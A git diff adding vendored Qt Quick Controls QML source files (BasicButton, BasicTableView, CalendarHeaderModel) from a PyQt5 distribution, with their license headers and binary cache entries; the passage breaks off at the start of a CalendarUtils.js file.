b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicButton.qml @@ -0,0 +1,241 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Controls.Styles 1.1 +import QtQuick.Window 2.2 + +/*! + \qmltype BasicButton + \internal + \qmlabstract + \inqmlmodule QtQuick.Controls.Private +*/ + +Control { + id: button + + /*! This signal is emitted when the button is clicked. */ + signal clicked + + /*! \qmlproperty bool BasicButton::pressed + + This property holds whether the button is being pressed. */ + readonly property alias pressed: button.__effectivePressed + + /*! \qmlproperty bool BasicButton::hovered + + This property indicates whether the control is being hovered. + */ + readonly property alias hovered: behavior.containsMouse + + /*! This property holds whether the button is checkable. + + The default value is \c false. */ + property bool checkable: false + Accessible.checkable: checkable + + /*! This property holds whether the button is checked. + + Only checkable buttons can be checked. + + The default value is \c false. */ + property bool checked: false + Accessible.checked: checked + + /*! This property holds the ExclusiveGroup that the button belongs to. + + The default value is \c null. */ + property ExclusiveGroup exclusiveGroup: null + + /*! This property holds the associated button action. + + If a button has an action associated, the action defines the + button's properties like checked, text, tooltip etc. + + When an action is set, it's still possible to override the \l text, + \l tooltip, \l iconSource, and \l iconName properties. + + The default value is \c null. */ + property Action action: null + + /*! This property specifies whether the button should gain active focus when pressed. + + The default value is \c false. */ + property bool activeFocusOnPress: false + + /*! This property holds the text shown on the button. If the button has no + text, the \l text property will be an empty string. + + The default value is the empty string. + */ + property string text: action ? action.text : "" + + /*! This property holds the button tooltip. */ + property string tooltip: action ? (action.tooltip || StyleHelpers.removeMnemonics(action.text)) : "" + + /*! This property holds the icon shown on the button. If the button has no + icon, the iconSource property will be an empty string. + + The default value is the empty string. + */ + property url iconSource: action ? action.iconSource : "" + + /*! The image label source as theme name. + When an icon from the platform icon theme is found, this takes + precedence over iconSource. + + \include icons.qdocinc iconName + */ + property string iconName: action ? action.iconName : "" + + /*! \internal */ + property string __position: "only" + /*! \internal */ + readonly property bool __iconOverriden: button.action && (button.action.iconSource !== button.iconSource || button.action.iconName !== button.iconName) + /*! \internal */ + property Action __action: action || ownAction + /*! \internal */ + readonly property Action __iconAction: __iconOverriden ? ownAction : __action + + /*! \internal */ + onExclusiveGroupChanged: { + if (exclusiveGroup) + exclusiveGroup.bindCheckable(button) + } + + Accessible.role: Accessible.Button + Accessible.description: tooltip + + /*! \internal */ + function accessiblePressAction() { + __action.trigger(button) + } + + Action { + id: ownAction + enabled: button.enabled + iconSource: !button.action || __iconOverriden ? button.iconSource : "" + iconName: !button.action || __iconOverriden ? button.iconName : "" + + // let ownAction handle mnemonic if and only if the button does + // not already have an action assigned to avoid ambiguous shortcuts + text: button.action ? "" : button.text + } + + Connections { + target: __action + function onTriggered() { button.clicked() } + } + + activeFocusOnTab: true + + Keys.onPressed: { + if (event.key === Qt.Key_Space && !event.isAutoRepeat && !behavior.pressed) { + behavior.keyPressed = true; + event.accepted = true; + } + } + + onFocusChanged: if (!focus) behavior.keyPressed = false + + Keys.onReleased: { + if (event.key === Qt.Key_Space && !event.isAutoRepeat && behavior.keyPressed) { + behavior.keyPressed = false; + __action.trigger(button) + behavior.toggle() + event.accepted = true; + } + } + + MouseArea { + id: behavior + property bool keyPressed: false + property bool effectivePressed: pressed && containsMouse || keyPressed + + anchors.fill: parent + hoverEnabled: Settings.hoverEnabled + enabled: !keyPressed + + function toggle() { + if (button.checkable && !button.action && !(button.checked && button.exclusiveGroup)) + button.checked = !button.checked + } + + onReleased: { + if (containsMouse) { + toggle() + __action.trigger(button) + } + } + onExited: Tooltip.hideText() + onCanceled: Tooltip.hideText() + onPressed: { + if (activeFocusOnPress) + button.forceActiveFocus() + } + + Timer { + interval: 1000 + running: behavior.containsMouse && !pressed && tooltip.length && behavior.Window.visibility !== Window.Hidden + onTriggered: Tooltip.showText(behavior, Qt.point(behavior.mouseX, behavior.mouseY), tooltip) + } + } + + /*! \internal */ + property var __behavior: behavior + + /*! \internal */ + property bool __effectivePressed: behavior.effectivePressed + + states: [ + State { + name: "boundAction" + when: action !== null + PropertyChanges { + target: button + enabled: action.enabled + checkable: action.checkable + checked: action.checked + } + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicButton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicButton.qmlc new file mode 100644 index 00000000..b463219e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicButton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicTableView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicTableView.qml new file mode 100644 index 00000000..cd6114a1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicTableView.qml @@ -0,0 +1,792 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists purely as an +// implementation detail. This file may change from version to +// version without notice, or even be removed. +// +// We mean it. +// + +import QtQml 2.14 as Qml +import QtQuick 2.6 +import QtQuick.Controls 1.5 +import QtQuick.Controls.Private 1.0 +import QtQuick.Controls.Styles 1.2 +import QtQuick.Window 2.2 + +/*! + \qmltype BasicTableView + \qmlabstract + \inqmlmodule QtQuick.Controls.Private +*/ + +ScrollView { + id: root + + /*! \qmlproperty bool BasicTableView::alternatingRowColors + + This property is set to \c true if the view alternates the row color. + The default value is \c true. + */ + property bool alternatingRowColors: true + + /*! \qmlproperty bool BasicTableView::headerVisible + + This property determines if the header is visible. + The default value is \c true. + */ + property bool headerVisible: true + + /*! \qmlproperty bool BasicTableView::backgroundVisible + + This property determines if the background should be filled or not. + + The default value is \c true. + + \note The rowDelegate is not affected by this property + */ + property alias backgroundVisible: colorRect.visible + + /*! \qmlproperty Component BasicTableView::itemDelegate + \internal + + Documentation differs between TableView and TreeView. + See qtquickcontrols-treeview.qdoc and qtquickcontrols-tableview.qdoc + */ + property Component itemDelegate: __style ? __style.itemDelegate : null + + /*! \qmlproperty Component BasicTableView::rowDelegate + + This property defines a delegate to draw a row. + + In the row delegate you have access to the following special properties: + \list + \li styleData.alternate - true when the row uses the alternate background color + \li styleData.selected - true when the row is currently selected + \li styleData.row - the index of the row + \li styleData.hasActiveFocus - true when the row has focus (since QtQuick.Controls 1.3) + \li styleData.pressed - true when the row is pressed (since QtQuick.Controls 1.3) + \endlist + + \note For performance reasons, created delegates can be recycled + across multiple table rows. This implies that when you make use of implicit + properties such as \c styleData.row or \c model, these values can change + after the delegate has been constructed. This means that you should not assume + that content is fixed when \c Component.onCompleted is called, but instead rely on + bindings to such properties. + */ + property Component rowDelegate: __style ? __style.rowDelegate : null + + /*! \qmlproperty Component BasicTableView::headerDelegate + + This property defines a delegate to draw a header. + + In the header delegate you have access to the following special properties: + \list + \li styleData.value - the value or text for this item + \li styleData.column - the index of the column + \li styleData.pressed - true when the column is being pressed + \li styleData.containsMouse - true when the column is under the mouse + \li styleData.textAlignment - the horizontal text alignment of the column (since QtQuickControls 1.1) + \endlist + */ + property Component headerDelegate: __style ? __style.headerDelegate : null + + /*! \qmlproperty int BasicTableView::sortIndicatorColumn + + Index of the current sort column. + The default value is \c {0}. + */ + property int sortIndicatorColumn + + /*! \qmlproperty bool BasicTableView::sortIndicatorVisible + + This property shows or hides the sort indicator + The default value is \c false. + \note The view itself does not sort the data. + */ + property bool sortIndicatorVisible: false + + /*! \qmlproperty enumeration BasicTableView::sortIndicatorOrder + + This sets the sorting order of the sort indicator + The allowed values are: + \list + \li Qt.AscendingOrder - the default + \li Qt.DescendingOrder + \endlist + */ + property int sortIndicatorOrder: Qt.AscendingOrder + + /*! \qmlproperty Component BasicTableView::contentHeader + This is the content header of the view. + */ + property alias contentHeader: listView.header + + /*! \qmlproperty Component BasicTableView::contentFooter + This is the content footer of the view. + */ + property alias contentFooter: listView.footer + + /*! \qmlproperty int BasicTableView::columnCount + The current number of columns + */ + readonly property alias columnCount: columnModel.count + + /*! \qmlpropertygroup BasicTableView::section + \internal + \qmlproperty string BasicTableView::section.property + \qmlproperty enumeration BasicTableView::section.criteria + \qmlproperty Component BasicTableView::section.delegate + \qmlproperty enumeration BasicTableView::section.labelPositioning + + Moved to the qdoc files to keep the grouped property layout. + See qtquickcontrols-treeview.qdoc and qtquickcontrols-tableview.qdoc + */ + property alias section: listView.section + + /*! + \qmlproperty enumeration BasicTableView::selectionMode + \since QtQuick.Controls 1.1 + + This enum indicates how the view responds to user selections: + + The possible modes are: + + \list + + \li SelectionMode.NoSelection - Items cannot be selected. + + \li SelectionMode.SingleSelection - When the user selects an item, + any already-selected item becomes unselected, and the user cannot + unselect the selected item. (Default) + + \li SelectionMode.MultiSelection - When the user selects an item in the usual way, + the selection status of that item is toggled and the other items are left alone. + + \li SelectionMode.ExtendedSelection - When the user selects an item in the usual way, + the selection is cleared and the new item selected. However, if the user presses the + Ctrl key when clicking on an item, the clicked item gets toggled and all other items + are left untouched. If the user presses the Shift key while clicking + on an item, all items between the current item and the clicked item are selected or unselected, + depending on the state of the clicked item. Multiple items can be selected by dragging the + mouse over them. + + \li SelectionMode.ContiguousSelection - When the user selects an item in the usual way, + the selection is cleared and the new item selected. However, if the user presses the Shift key while + clicking on an item, all items between the current item and the clicked item are selected. + + \endlist + */ + property int selectionMode: SelectionMode.SingleSelection + + /*! + \qmlmethod TableViewColumn BasicTableView::addColumn(object column) + + Adds a \a column and returns the added column. + + The \a column argument can be an instance of TableViewColumn, + or a Component. The component has to contain a TableViewColumn. + Otherwise \c null is returned. + */ + function addColumn(column) { + return insertColumn(columnCount, column) + } + + /*! + \qmlmethod TableViewColumn BasicTableView::insertColumn(int index, object column) + + Inserts a \a column at the given \a index and returns the inserted column. + + The \a column argument can be an instance of TableViewColumn, + or a Component. The component has to contain a TableViewColumn. + Otherwise \c null is returned. + */ + function insertColumn(index, column) { + if (__isTreeView && index === 0 && columnCount > 0) { + console.warn(__viewTypeName + "::insertColumn(): Can't replace column 0") + return null + } + var object = column + if (typeof column['createObject'] === 'function') { + object = column.createObject(root) + } else if (object.__view) { + console.warn(__viewTypeName + "::insertColumn(): you cannot add a column to multiple views") + return null + } + if (index >= 0 && index <= columnCount && object.accessibleRole === Accessible.ColumnHeader) { + object.__view = root + columnModel.insert(index, {columnItem: object}) + if (root.__columns[index] !== object) { + // The new column needs to be put into __columns at the specified index + // so the list needs to be recreated to be correct + var arr = [] + for (var i = 0; i < index; ++i) + arr.push(root.__columns[i]) + arr.push(object) + for (i = index; i < root.__columns.length; ++i) + arr.push(root.__columns[i]) + root.__columns = arr + } + return object + } + + if (object !== column) + object.destroy() + console.warn(__viewTypeName + "::insertColumn(): invalid argument") + return null + } + + /*! + \qmlmethod void BasicTableView::removeColumn(int index) + + Removes and destroys a column at the given \a index. + */ + function removeColumn(index) { + if (index < 0 || index >= columnCount) { + console.warn(__viewTypeName + "::removeColumn(): invalid argument") + return + } + if (__isTreeView && index === 0) { + console.warn(__viewTypeName + "::removeColumn(): Can't remove column 0") + return + } + var column = columnModel.get(index).columnItem + columnModel.remove(index, 1) + column.destroy() + } + + /*! + \qmlmethod void BasicTableView::moveColumn(int from, int to) + + Moves a column \a from index \a to another. + */ + function moveColumn(from, to) { + if (from < 0 || from >= columnCount || to < 0 || to >= columnCount) { + console.warn(__viewTypeName + "::moveColumn(): invalid argument") + return + } + if (__isTreeView && to === 0) { + console.warn(__viewTypeName + "::moveColumn(): Can't move column 0") + return + } + if (sortIndicatorColumn === from) + sortIndicatorColumn = to + columnModel.move(from, to, 1) + } + + /*! + \qmlmethod TableViewColumn BasicTableView::getColumn(int index) + + Returns the column at the given \a index + or \c null if the \a index is invalid. + */ + function getColumn(index) { + if (index < 0 || index >= columnCount) + return null + return columnModel.get(index).columnItem + } + + /*! + \qmlmethod void BasicTableView::resizeColumnsToContents() + + Resizes all columns to ensure that the column contents and the headers will fit. + \since QtQuick.Controls 1.2 + */ + function resizeColumnsToContents () { + for (var i = 0; i < __columns.length; ++i) { + var col = getColumn(i) + var header = __listView.headerItem.headerRepeater.itemAt(i) + if (col) { + col.resizeToContents() + if (col.width < header.implicitWidth) + col.width = header.implicitWidth + } + } + } + + // Internal stuff. Do not look + + Component.onCompleted: { + for (var i = 0; i < __columns.length; ++i) { + var column = __columns[i] + if (column.accessibleRole === Accessible.ColumnHeader) + addColumn(column) + } + } + + activeFocusOnTab: true + + implicitWidth: 200 + implicitHeight: 150 + + frameVisible: true + __scrollBarTopMargin: headerVisible && (listView.transientScrollBars || Qt.platform.os === "osx") + ? listView.headerItem.height : 0 + + /*! \internal + Use this to display user-friendly messages in TableView and TreeView common functions. + */ + property string __viewTypeName + + /*! \internal */ + readonly property bool __isTreeView: __viewTypeName === "TreeView" + + /*! \internal */ + default property alias __columns: root.data + + /*! \internal */ + property alias __currentRowItem: listView.currentItem + + /*! \internal + This property is forwarded to TableView::currentRow, but not to any TreeView property. + */ + property alias __currentRow: listView.currentIndex + + /*! \internal */ + readonly property alias __listView: listView + + /*! \internal */ + property Component __itemDelegateLoader: null + + /*! \internal + Allows to override the model property in cases like TreeView, + where we want to use a proxy/adaptor model between the user's model + and whatever a ListView can swallow. + */ + property var __model + + /*! \internal */ + property bool __activateItemOnSingleClick: __style ? __style.activateItemOnSingleClick : false + + /*! \internal */ + property Item __mouseArea + + ListView { + id: listView + focus: true + activeFocusOnTab: false + Keys.forwardTo: [__mouseArea] + anchors.fill: parent + contentWidth: headerItem.headerRow.width + listView.vScrollbarPadding + // ### FIXME Late configuration of the header item requires + // this binding to get the header visible after creation + contentY: -headerItem.height + + currentIndex: -1 + visible: columnCount > 0 + interactive: Settings.hasTouchScreen + property var rowItemStack: [] // Used as a cache for rowDelegates + + readonly property bool transientScrollBars: __style && !!__style.transientScrollBars + readonly property real vScrollbarPadding: __scroller.verticalScrollBar.visible + && !transientScrollBars && Qt.platform.os === "osx" ? + __verticalScrollBar.width + __scroller.scrollBarSpacing + root.__style.padding.right : 0 + + Qml.Binding { + // On Mac, we reserve the vSB space in the contentItem because the vSB should + // appear under the header. Unfortunately, the ListView header won't expand + // beyond the ListView's boundaries, that's why we need to ressort to this. + target: root.__scroller + when: Qt.platform.os === "osx" + property: "verticalScrollbarOffset" + value: 0 + restoreMode: Binding.RestoreBinding + } + + function incrementCurrentIndexBlocking() { + var oldIndex = __listView.currentIndex + __scroller.blockUpdates = true; + incrementCurrentIndex(); + __scroller.blockUpdates = false; + return oldIndex !== __listView.currentIndex + } + + function decrementCurrentIndexBlocking() { + var oldIndex = __listView.currentIndex + __scroller.blockUpdates = true; + decrementCurrentIndex(); + __scroller.blockUpdates = false; + return oldIndex !== __listView.currentIndex + } + + function scrollIfNeeded(key) { + var diff = key === Qt.Key_PageDown ? height : + key === Qt.Key_PageUp ? -height : 0 + if (diff !== 0) + __verticalScrollBar.value += diff + } + + SystemPalette { + id: palette + colorGroup: enabled ? SystemPalette.Active : SystemPalette.Disabled + } + + Rectangle { + id: colorRect + parent: viewport + anchors.fill: parent + color: __style ? __style.backgroundColor : palette.base + z: -2 + } + + // Fills extra rows with alternate color + Column { + id: rowfiller + Loader { + id: rowSizeItem + sourceComponent: root.rowDelegate + visible: false + property QtObject styleData: QtObject { + property bool alternate: false + property bool selected: false + property bool hasActiveFocus: false + property bool pressed: false + } + } + property int rowHeight: Math.floor(rowSizeItem.implicitHeight) + property int paddedRowCount: rowHeight != 0 ? height/rowHeight : 0 + + y: listView.contentHeight - listView.contentY + listView.originY + width: parent.width + visible: alternatingRowColors + height: listView.model && listView.model.count ? (viewport.height - listView.contentHeight) : 0 + Repeater { + model: visible ? parent.paddedRowCount : 0 + Loader { + width: rowfiller.width + height: rowfiller.rowHeight + sourceComponent: root.rowDelegate + property QtObject styleData: QtObject { + readonly property bool alternate: (index + __listView.count) % 2 === 1 + readonly property bool selected: false + readonly property bool hasActiveFocus: false + readonly property bool pressed: false + } + readonly property var model: null + readonly property var modelData: null + } + } + } + + ListModel { + id: columnModel + } + + highlightFollowsCurrentItem: true + model: root.__model + + delegate: FocusScope { + id: rowItemContainer + + activeFocusOnTab: false + z: rowItem.activeFocus ? 0.7 : rowItem.itemSelected ? 0.5 : 0 + + property Item rowItem + // We recycle instantiated row items to speed up list scrolling + + Component.onDestruction: { + // move the rowItem back in cache + if (rowItem) { + rowItem.visible = false; + rowItem.parent = null; + rowItem.rowIndex = -1; + listView.rowItemStack.push(rowItem); // return rowItem to cache + } + } + + Component.onCompleted: { + // retrieve row item from cache + if (listView.rowItemStack.length > 0) + rowItem = listView.rowItemStack.pop(); + else + rowItem = rowComponent.createObject(listView); + + // Bind container to item size + rowItemContainer.width = Qt.binding( function() { return rowItem.width }); + rowItemContainer.height = Qt.binding( function() { return rowItem.height }); + + // Reassign row-specific bindings + rowItem.rowIndex = Qt.binding( function() { return model.index }); + rowItem.itemModelData = Qt.binding( function() { return typeof modelData === "undefined" ? null : modelData }); + rowItem.itemModel = Qt.binding( function() { return model }); + rowItem.parent = rowItemContainer; + rowItem.visible = true; + } + } + + Component { + id: rowComponent + + FocusScope { + id: rowitem + visible: false + + property int rowIndex + property var itemModelData + property var itemModel + property bool itemSelected: __mouseArea.selected(rowIndex) + property bool alternate: alternatingRowColors && rowIndex % 2 === 1 + readonly property color itemTextColor: itemSelected ? __style.highlightedTextColor : __style.textColor + property Item branchDecoration: null + + width: itemrow.width + height: rowstyle.height + + onActiveFocusChanged: { + if (activeFocus) + listView.currentIndex = rowIndex + } + + Loader { + id: rowstyle + // row delegate + sourceComponent: rowitem.itemModel !== undefined ? root.rowDelegate : null + // Row fills the view width regardless of item size + // But scrollbar should not adjust to it + height: item ? item.height : 16 + width: parent.width + __horizontalScrollBar.width + x: listView.contentX + + // these properties are exposed to the row delegate + // Note: these properties should be mirrored in the row filler as well + property QtObject styleData: QtObject { + readonly property int row: rowitem.rowIndex + readonly property bool alternate: rowitem.alternate + readonly property bool selected: rowitem.itemSelected + readonly property bool hasActiveFocus: rowitem.activeFocus + readonly property bool pressed: rowitem.rowIndex === __mouseArea.pressedRow + } + readonly property var model: rowitem.itemModel + readonly property var modelData: rowitem.itemModelData + } + Row { + id: itemrow + height: parent.height + Repeater { + model: columnModel + + delegate: __itemDelegateLoader + + onItemAdded: { + var columnItem = columnModel.get(index).columnItem + item.__rowItem = rowitem + item.__column = columnItem + } + } + } + } + } + + headerPositioning: ListView.OverlayHeader + header: Item { + id: tableHeader + visible: headerVisible + width: Math.max(headerRow.width + listView.vScrollbarPadding, root.viewport.width) + height: visible ? headerRow.height : 0 + + property alias headerRow: row + property alias headerRepeater: repeater + Row { + id: row + + Repeater { + id: repeater + + property int targetIndex: -1 + property int dragIndex: -1 + + model: columnModel + + delegate: Item { + id: headerRowDelegate + readonly property int column: index + z:-index + width: modelData.width + implicitWidth: columnCount === 1 ? viewport.width + __verticalScrollBar.width : headerStyle.implicitWidth + visible: modelData.visible + height: headerStyle.height + + readonly property bool treeViewMovable: !__isTreeView || index > 0 + + Loader { + id: headerStyle + sourceComponent: root.headerDelegate + width: parent.width + property QtObject styleData: QtObject { + readonly property string value: modelData.title + readonly property bool pressed: headerClickArea.pressed + readonly property bool containsMouse: headerClickArea.containsMouse + readonly property int column: index + readonly property int textAlignment: modelData.horizontalAlignment + readonly property bool resizable: modelData.resizable + } + } + + Rectangle{ + id: targetmark + width: parent.width + height:parent.height + opacity: (treeViewMovable && index === repeater.targetIndex && repeater.targetIndex !== repeater.dragIndex) ? 0.5 : 0 + Behavior on opacity { NumberAnimation { duration: 160 } } + color: palette.highlight + visible: modelData.movable + } + + MouseArea{ + id: headerClickArea + drag.axis: Qt.YAxis + hoverEnabled: Settings.hoverEnabled + anchors.fill: parent + onClicked: { + if (sortIndicatorColumn === index) + sortIndicatorOrder = sortIndicatorOrder === Qt.AscendingOrder ? Qt.DescendingOrder : Qt.AscendingOrder + sortIndicatorColumn = index + } + // Here we handle moving header sections + // NOTE: the direction is different from the master branch + // so this indicates that I am using an invalid assumption on item ordering + onPositionChanged: { + if (drag.active && modelData.movable && pressed && columnCount > 1) { // only do this while dragging + for (var h = columnCount-1 ; h >= 0 ; --h) { + if (headerRow.children[h].visible && drag.target.x + headerRowDelegate.width/2 > headerRow.children[h].x) { + repeater.targetIndex = h + break + } + } + } + } + + onPressed: { + repeater.dragIndex = index + } + + onReleased: { + if (repeater.targetIndex >= 0 && repeater.targetIndex !== index ) { + var targetColumn = columnModel.get(repeater.targetIndex).columnItem + if (targetColumn.movable && (!__isTreeView || repeater.targetIndex > 0)) { + if (sortIndicatorColumn === index) + sortIndicatorColumn = repeater.targetIndex + columnModel.move(index, repeater.targetIndex, 1) + } + } + repeater.targetIndex = -1 + repeater.dragIndex = -1 + } + drag.target: treeViewMovable && modelData.movable && columnCount > 1 ? draghandle : null + } + + Loader { + id: draghandle + property QtObject styleData: QtObject{ + readonly property string value: modelData.title + readonly property bool pressed: headerClickArea.pressed + readonly property bool containsMouse: headerClickArea.containsMouse + readonly property int column: index + readonly property int textAlignment: modelData.horizontalAlignment + } + parent: tableHeader + x: __implicitX + property double __implicitX: headerRowDelegate.x + width: modelData.width + height: parent.height + sourceComponent: root.headerDelegate + visible: headerClickArea.pressed + onVisibleChanged: { + if (!visible) + x = Qt.binding(function () { return __implicitX }) + } + opacity: 0.5 + } + + + MouseArea { + id: headerResizeHandle + property int offset: 0 + readonly property int minimumSize: 20 + preventStealing: true + anchors.rightMargin: -width/2 + width: Settings.hasTouchScreen ? Screen.pixelDensity * 3.5 : 16 + height: parent.height + anchors.right: parent.right + enabled: modelData.resizable && columnCount > 0 + onPositionChanged: { + var newHeaderWidth = modelData.width + (mouseX - offset) + modelData.width = Math.max(minimumSize, newHeaderWidth) + } + + onDoubleClicked: getColumn(index).resizeToContents() + onPressedChanged: if (pressed) offset=mouseX + cursorShape: enabled && repeater.dragIndex==-1 ? Qt.SplitHCursor : Qt.ArrowCursor + } + } + } + } + + Loader { + property QtObject styleData: QtObject{ + readonly property string value: "" + readonly property bool pressed: false + readonly property bool containsMouse: false + readonly property int column: -1 + readonly property int textAlignment: Text.AlignLeft + } + + anchors.top: parent.top + anchors.right: parent.right + anchors.bottom: headerRow.bottom + sourceComponent: root.headerDelegate + readonly property real __remainingWidth: parent.width - headerRow.width + visible: __remainingWidth > 0 + width: __remainingWidth + z:-1 + } + } + + function columnAt(offset) { + var item = listView.headerItem.headerRow.childAt(offset, 0) + return item ? item.column : -1 + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicTableView.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicTableView.qmlc new file mode 100644 index 00000000..4367a364 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicTableView.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarHeaderModel.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarHeaderModel.qml new file mode 100644 index 00000000..40328a8b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarHeaderModel.qml @@ -0,0 +1,109 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +/* + CalendarHeaderModel contains a list of the days of a week, + according to a \l locale. The \l locale affects which day of the week + is first in the model. + + The only role provided by the model is \c dayOfWeek, which is one of the + following JavaScript values: + + \list + \li \c Locale.Sunday + \li \c Locale.Monday + \li \c Locale.Tuesday + \li \c Locale.Wednesday + \li \c Locale.Thursday + \li \c Locale.Friday + \li \c Locale.Saturday + \endlist + */ + +ListModel { + id: root + + /* + The locale that this model should be based on. + This affects which day of the week is first in the model. + */ + property var locale + + ListElement { + dayOfWeek: Locale.Sunday + } + ListElement { + dayOfWeek: Locale.Monday + } + ListElement { + dayOfWeek: Locale.Tuesday + } + ListElement { + dayOfWeek: Locale.Wednesday + } + ListElement { + dayOfWeek: Locale.Thursday + } + ListElement { + dayOfWeek: Locale.Friday + } + ListElement { + dayOfWeek: Locale.Saturday + } + + Component.onCompleted: updateFirstDayOfWeek() + onLocaleChanged: updateFirstDayOfWeek() + + function updateFirstDayOfWeek() { + var daysOfWeek = [Locale.Sunday, Locale.Monday, Locale.Tuesday, + Locale.Wednesday, Locale.Thursday, Locale.Friday, Locale.Saturday]; + var firstDayOfWeek = root.locale.firstDayOfWeek; + + var shifted = daysOfWeek.splice(firstDayOfWeek, daysOfWeek.length - firstDayOfWeek); + daysOfWeek = shifted.concat(daysOfWeek) + + if (firstDayOfWeek !== root.get(0).dayOfWeek) { + for (var i = 0; i < daysOfWeek.length; ++i) { + root.setProperty(i, "dayOfWeek", daysOfWeek[i]); + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarHeaderModel.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarHeaderModel.qmlc new file mode 100644 index 00000000..dba05b5c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarHeaderModel.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarUtils.js b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarUtils.js new file mode 100644 index 00000000..9a93d8da --- /dev/null +++ 